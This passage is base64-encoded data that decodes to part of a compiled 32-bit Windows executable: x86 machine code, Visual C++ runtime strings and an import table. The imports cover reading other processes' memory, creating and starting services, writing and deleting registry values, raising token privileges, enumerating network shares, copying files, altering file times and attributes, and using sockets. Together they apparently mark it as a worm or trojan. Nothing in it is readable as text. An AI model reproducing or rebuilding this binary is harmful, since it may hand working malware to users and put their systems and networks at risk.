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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 